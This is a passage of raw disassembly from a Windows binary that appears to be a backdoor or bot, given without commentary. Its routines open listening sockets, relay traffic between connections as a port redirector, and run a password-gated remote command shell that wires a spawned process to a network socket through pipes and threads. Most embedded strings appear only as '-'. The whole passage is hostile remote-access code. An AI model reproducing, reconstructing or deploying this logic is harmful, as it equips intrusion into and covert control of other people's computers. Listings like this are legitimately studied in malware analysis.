sub_410CB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E63	proc near		; DATA XREF: sub_401CC7+628Do

Source		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_44]
		call	dword_4E4220	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4E42A0	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_410FCF
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_457134[ecx], eax
		call	dword_4E4130	; WSAAsyncSelect
		lea	eax, [ebp+Dst]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E424C	; bind
		test	eax, eax
		jnz	loc_410FCF
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4E4248	; listen
		test	eax, eax
		jnz	loc_410FCF

loc_410F13:				; CODE XREF: sub_410E63+C6j
					; sub_410E63+147j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E42B4	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410F13
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44BFEC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Source]
		push	18h		; int
		push	eax		; Source
		call	sub_40B78E
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_45712C[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_410FF4
		push	esi
		push	esi
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_45713C[ecx], eax
		jz	short loc_410FBA

loc_410FA7:				; CODE XREF: sub_410E63+155j
		cmp	[ebp+var_30], esi
		jnz	loc_410F13
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_410FA7
; ---------------------------------------------------------------------------

loc_410FBA:				; CODE XREF: sub_410E63+142j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44C034 ; "-"
		call	sub_415CEB
		pop	ecx
		pop	ecx
		jmp	short loc_410FD2
; ---------------------------------------------------------------------------

loc_410FCF:				; CODE XREF: sub_410E63+63j
					; sub_410E63+97j ...
		mov	edi, [ebp+arg_0]

loc_410FD2:				; CODE XREF: sub_410E63+16Aj
		push	edi
		call	dword_4E42B8	; closesocket
		push	[ebp+arg_0]
		call	dword_4E42B8	; closesocket
		push	[ebp+var_40]
		call	sub_40BAAA
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
sub_410E63	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF4	proc near		; DATA XREF: sub_410E63+124o

var_1344	= byte ptr -1344h
Source		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
Dst		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4E42A0	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_4111AA
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_3C]
		call	dword_4E4220	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4E4260	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_411084
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4E42A4	; gethostbyname
		jmp	short loc_411092
; ---------------------------------------------------------------------------

loc_411084:				; CODE XREF: sub_410FF4+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4E41D8	; gethostbyaddr

loc_411092:				; CODE XREF: sub_410FF4+8Ej
		cmp	eax, edi
		jz	loc_4111AA
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		call	dword_4E41C8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4111AA
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44C070 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Source]
		push	18h		; int
		push	eax		; Source
		call	sub_40B78E
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_457134[ebx]
		mov	dword_45712C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_457138[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_4111DB
		push	edi
		push	edi
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_45713C[ecx], eax
		jz	short loc_411197

loc_411144:				; CODE XREF: sub_410FF4+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_411153
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_411144
; ---------------------------------------------------------------------------

loc_411153:				; CODE XREF: sub_410FF4+153j
		mov	ebx, 1000h

loc_411158:				; CODE XREF: sub_410FF4+19Fj
		push	ebx		; Size
		lea	eax, [ebp+var_1344]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4E4238	; recv
		cmp	eax, edi
		jle	short loc_4111AA
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4270	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411158
		jmp	short loc_4111AA
; ---------------------------------------------------------------------------

loc_411197:				; CODE XREF: sub_410FF4+14Ej
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44C0B4 ; "-"
		call	sub_415CEB
		pop	ecx
		pop	ecx

loc_4111AA:				; CODE XREF: sub_410FF4+44j
					; sub_410FF4+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_457134[eax]
		call	dword_4E42B8	; closesocket
		push	[ebp+arg_0]
		call	dword_4E42B8	; closesocket
		push	[ebp+var_4]
		call	sub_40BAAA
		pop	ecx
		push	edi
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_410FF4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4111DB	proc near		; DATA XREF: sub_410FF4+130o

Dst		= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_411212:				; CODE XREF: sub_4111DB+7Cj
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	0
		push	edi
		push	eax
		push	dword_457138[esi]
		call	dword_4E4238	; recv
		test	eax, eax
		jle	short loc_411259
		push	0
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	dword_457134[esi]
		call	dword_4E4270	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411212

loc_411259:				; CODE XREF: sub_4111DB+61j
		push	dword_457138[esi]
		call	dword_4E42B8	; closesocket
		push	[ebp+var_14]
		call	sub_40BAAA
		pop	ecx
		push	0
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
sub_4111DB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411278	proc near		; DATA XREF: sub_411506+1BEo

var_3D4		= byte ptr -3D4h
Str1		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
Dest		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
Args		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_3D4]
		push	1
		mov	[ebp+var_C], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_457134[eax]
		xor	edi, edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_1F4], ebx
		mov	eax, [esi]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_4E4208	; select
		test	eax, eax
		jnz	short loc_4112FC
		push	dword ptr [esi]
		call	dword_4E42B8	; closesocket
		push	[ebp+arg_0]
		call	sub_40BAAA
		pop	ecx
		push	edi
		call	ds:dword_4F63D4	; ExitThread

loc_4112FC:				; CODE XREF: sub_411278+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4E4238	; recv
		lea	eax, [ebp+Args]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_41147D
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_41147D
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_41147D
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_4E4174	; getpeername
		test	eax, eax
		jz	short loc_411375
		call	dword_4E41B4	; WSAGetLastError
		push	eax		; Args
		push	offset asc_44C0F4 ; "-"
		call	sub_415CEB
		push	[ebp+arg_0]
		call	sub_40BAAA
		add	esp, 0Ch
		push	edi
		call	ds:dword_4F63D4	; ExitThread

loc_411375:				; CODE XREF: sub_411278+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_4E41D8	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_41139F
		push	[ebp+var_18]
		call	dword_4E42AC	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		jmp	short loc_4113AD
; ---------------------------------------------------------------------------

loc_41139F:				; CODE XREF: sub_411278+10Dj
		push	dword ptr [eax]	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strcpy

loc_4113AD:				; CODE XREF: sub_411278+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_4E6FC4
		push	dword ptr [esi]
		call	dword_4E4270	; send
		cmp	dword_4E6FBC, edi
		jnz	short loc_41140F
		push	[ebp+var_18]
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+Args]
		push	eax		; Args
		call	sub_4114D7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41140F
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4E4270	; send
		push	dword ptr [esi]
		call	dword_4E42B8	; closesocket
		push	[ebp+arg_0]
		call	sub_40BAAA
		pop	ecx
		push	edi
		call	ds:dword_4F63D4	; ExitThread

loc_41140F:				; CODE XREF: sub_411278+14Cj
					; sub_411278+16Dj
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset asc_44C134 ; "-"
		call	sub_415CEB
		push	[ebp+arg_0]
		call	sub_41178E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411456
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44C15C ; "-"
		call	sub_415CEB
		push	[ebp+arg_0]
		call	sub_40BAAA
		add	esp, 0Ch
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_411456:				; CODE XREF: sub_411278+1B9j
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset asc_44C188 ; "-"
		call	sub_415CEB
		push	[ebp+arg_0]
		call	sub_40BAAA
		add	esp, 10h
		push	edi
		call	ds:dword_4F63D4	; ExitThread
sub_411278	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41147D	proc near		; CODE XREF: sub_411278+9Ap
					; sub_411278+A7p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4238	; recv
		cmp	eax, 1
		jnz	short loc_4114CD
		mov	esi, [ebp+arg_4]

loc_41149B:				; CODE XREF: sub_41147D+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4114C2
		test	al, al
		jz	short loc_4114D1
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4238	; recv
		cmp	eax, 1
		jz	short loc_41149B
		jmp	short loc_4114CD
; ---------------------------------------------------------------------------

loc_4114C2:				; CODE XREF: sub_41147D+27j
		push	offset asc_44C1B4 ; "-"
		call	sub_415CEB
		pop	ecx

loc_4114CD:				; CODE XREF: sub_41147D+19j
					; sub_41147D+43j
		xor	eax, eax
		jmp	short loc_4114D4
; ---------------------------------------------------------------------------

loc_4114D1:				; CODE XREF: sub_41147D+2Bj
		push	1
		pop	eax

loc_4114D4:				; CODE XREF: sub_41147D+52j
		pop	esi
		leave
		retn
sub_41147D	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4114D7(char *Args,int,char *Str1)

sub_4114D7	proc near		; CODE XREF: sub_411278+163p

Args		= dword	ptr  4
arg_4		= dword	ptr  8
Str1		= dword	ptr  0Ch

		push	[esp+Args]	; Str2
		push	[esp+4+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411502
		push	[esp+arg_4]
		push	[esp+4+Args]	; Args
		push	offset dword_44C1E0 ; Format
		call	sub_415CEB
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_411502:				; CODE XREF: sub_4114D7+11j
		push	1
		pop	eax
		retn
sub_4114D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411506	proc near		; DATA XREF: sub_401CC7+2394o

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
Source		= byte ptr -414h
var_214		= dword	ptr -214h
Str		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
Dst		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		push	1
		rep movsd
		pop	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_4E4190	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_41155F
		push	eax		; Args
		push	offset asc_44C250 ; "-"
		call	sub_415CEB
		push	[ebp+var_4C]
		call	sub_40BAAA
		add	esp, 0Ch
		push	edi
		call	ds:dword_4F63D4	; ExitThread

loc_41155F:				; CODE XREF: sub_411506+3Aj
		push	edi
		push	offset loc_411784
		call	ds:dword_4F642C	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_411598
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44C27C ; "-"
		call	sub_415CEB
		pop	ecx
		pop	ecx
		call	dword_4E4178	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40BAAA
		pop	ecx
		push	edi
		call	ds:dword_4F63D4	; ExitThread

loc_411598:				; CODE XREF: sub_411506+67j
		push	ebx
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_50]
		call	dword_4E4220	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_4E42A0	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_41170F
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_457134[eax], ebx
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	dword_4E424C	; bind
		test	eax, eax
		jnz	loc_41170F
		push	7FFFFFFFh
		push	ebx
		call	dword_4E4248	; listen
		test	eax, eax
		jnz	loc_41170F
		push	offset unk_44C2C0
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_415C77
		pop	ecx
		mov	[ebp+arg_0], edi

loc_411627:				; CODE XREF: sub_411506+15Aj
					; sub_411506+1E4j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_4E42B4	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_411712
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_4E4200	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411627
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44C2FC ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		push	edi		; int
		lea	eax, [ebp+Source]
		push	9		; int
		push	eax		; Source
		call	sub_40B78E
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_45712C[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_411278
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_45713C[ecx], eax
		jz	short loc_4116FA

loc_4116E7:				; CODE XREF: sub_411506+1F2j
		cmp	[ebp+var_38], esi
		jnz	loc_411627
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_4116E7
; ---------------------------------------------------------------------------

loc_4116FA:				; CODE XREF: sub_411506+1DFj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44C340 ; "-"
		call	sub_415CEB
		pop	ecx
		pop	ecx
		jmp	short loc_411712
; ---------------------------------------------------------------------------

loc_41170F:				; CODE XREF: sub_411506+C8j
					; sub_411506+ECj ...
		mov	edi, [ebp+arg_0]

loc_411712:				; CODE XREF: sub_411506+13Cj
					; sub_411506+207j
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44C37C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_411752
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_40]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_409D6C
		add	esp, 14h

loc_411752:				; CODE XREF: sub_411506+22Aj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		pop	ecx
		push	edi
		call	dword_4E42B8	; closesocket
		push	ebx
		call	dword_4E42B8	; closesocket
		call	dword_4E4178	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40BAAA
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
		pop	ebx

loc_411784:				; DATA XREF: sub_411506+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_411506	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41178E	proc near		; CODE XREF: sub_411278+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_4118DF
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_457134[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, ds:dword_4F6384
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411AB1
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_4117F9
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44C3B4 ; "-"
		call	sub_415CEB
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_411833
; ---------------------------------------------------------------------------

loc_4117F9:				; CODE XREF: sub_41178E+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411B63
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_41183A
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44C3FC ; "-"
		call	sub_415CEB
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	ds:dword_4F63B4	; TerminateThread

loc_411833:				; CODE XREF: sub_41178E+69j
		xor	eax, eax
		jmp	loc_4118DA
; ---------------------------------------------------------------------------

loc_41183A:				; CODE XREF: sub_41178E+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	ds:dword_4F6430	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_411894
		dec	eax
		jz	short loc_41188E
		dec	eax
		jz	short loc_41187A
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44C444 ; "-"
		call	sub_415CEB
		pop	ecx
		pop	ecx
		jmp	short loc_4118A9
; ---------------------------------------------------------------------------

loc_41187A:				; CODE XREF: sub_41178E+D5j
		mov	edi, ds:dword_4F63B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_4118A9
; ---------------------------------------------------------------------------

loc_41188E:				; CODE XREF: sub_41178E+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_411898
; ---------------------------------------------------------------------------

loc_411894:				; CODE XREF: sub_41178E+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_411898:				; CODE XREF: sub_41178E+104j
		call	ds:dword_4F63B4	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	ds:dword_4F63F8	; TerminateProcess

loc_4118A9:				; CODE XREF: sub_41178E+EAj
					; sub_41178E+FEj
		push	dword ptr [esi+10h]
		mov	edi, ds:dword_4F6370
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4E42B8	; closesocket
		push	esi		; Memory
		call	_free
		pop	ecx
		push	1
		pop	eax

loc_4118DA:				; CODE XREF: sub_41178E+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41178E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4118DF	proc near		; CODE XREF: sub_41178E+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h		; Size
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_4119C9
		mov	ebx, ds:dword_4F6404
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, ds:dword_4F6370
		test	eax, eax
		jnz	short loc_411942
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44C478
		jmp	short loc_411962
; ---------------------------------------------------------------------------

loc_411942:				; CODE XREF: sub_4118DF+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_41196A
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44C4B8 ; "-"

loc_411962:				; CODE XREF: sub_4118DF+61j
		call	sub_415CEB
		pop	ecx
